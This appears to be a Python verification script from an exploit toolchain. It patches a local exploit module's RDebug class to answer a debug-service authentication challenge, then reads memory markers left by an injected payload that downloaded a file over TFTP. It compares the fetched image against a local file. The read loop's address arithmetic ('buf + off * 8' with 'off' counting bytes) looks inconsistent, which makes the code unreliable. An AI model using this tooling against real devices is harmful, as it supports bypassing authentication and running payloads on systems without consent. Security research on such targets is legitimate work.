#!/usr/bin/env python3
"""Read the fetched TFTP image back with rdebug peek and compare it byte-for-byte.

    python3 dwt/tcpip/verify.py --host 192.168.99.2 \
        --markers 0x0187C000 --file dwt/tcpip/probe.bin

Marker layout is the one in tftpc.asm:
    +0x00 stage, +0x20 fd, +0x40 buffer, +0x60 total,
    +0x80 last recvfrom length, +0xA0 last block, +0xC0 done.

The comparison is the acceptance check: the payload is not trusted to report
its own success.
"""
from __future__ import annotations

import argparse
import hashlib
import os
import sys

HERE = os.path.dirname(os.path.abspath(__file__))
DWT = os.path.dirname(HERE)
sys.path.insert(0, DWT)

import challenge  # noqa: E402
import exploit  # noqa: E402

_orig_answer = exploit.RDebug.answer_challenge


def _answer(self, challenge_bytes: bytes) -> None:
    self.challenge_raw = challenge.respond(challenge_bytes)
    return _orig_answer(self, challenge_bytes)


exploit.RDebug.answer_challenge = _answer


def main(argv=None):
    ap = argparse.ArgumentParser(description=__doc__,
                                 formatter_class=argparse.RawDescriptionHelpFormatter)
    ap.add_argument("--host", default="192.168.99.2")
    ap.add_argument("--port", type=int, default=771)
    ap.add_argument("--markers", type=exploit.parse_int, default=0x0187C000)
    ap.add_argument("--file", default=os.path.join(HERE, "probe.bin"))
    a = ap.parse_args(argv)

    want = open(a.file, "rb").read()
    rd = exploit.RDebug(a.host, a.port, 10.0, False)
    rd.connect()
    rd.liveness(7)

    def u32(off):
        return int.from_bytes(rd.peek(a.markers + off, 4), "little")

    stage, fd, buf, total = u32(0), u32(0x20), u32(0x40), u32(0x60)
    last, block, done = u32(0x80), u32(0xA0), u32(0xC0)
    print(f"stage={stage} fd={fd} buf={buf:#010x} total={total} "
          f"last={last} block={block:#06x} done={done:#010x}")

    if stage != 4 or done != 0x05A5A5A5:
        print("FAIL: payload did not reach the completed state")
        return 2
    if total != len(want):
        print(f"FAIL: total {total} != file size {len(want)}")
        return 2

    got = b""
    off = 0
    while off < total:
        n = min(exploit.MAX_XFER, total - off)
        got += rd.peek(buf + off * 8, n)
        off += n

    if got == want:
        print(f"OK: {len(got)} bytes at {buf:#010x} match {a.file} "
              f"sha256={hashlib.sha256(got).hexdigest()}")
        return 0
    for i, (x, y) in enumerate(zip(got, want)):
        if x != y:
            print(f"FAIL: first mismatch at byte {i}: got {x:02x} want {y:02x}")
            break
    print(f"FAIL: {len(got)} bytes differ from {a.file}")
    return 1


if __name__ == "__main__":
    raise SystemExit(main())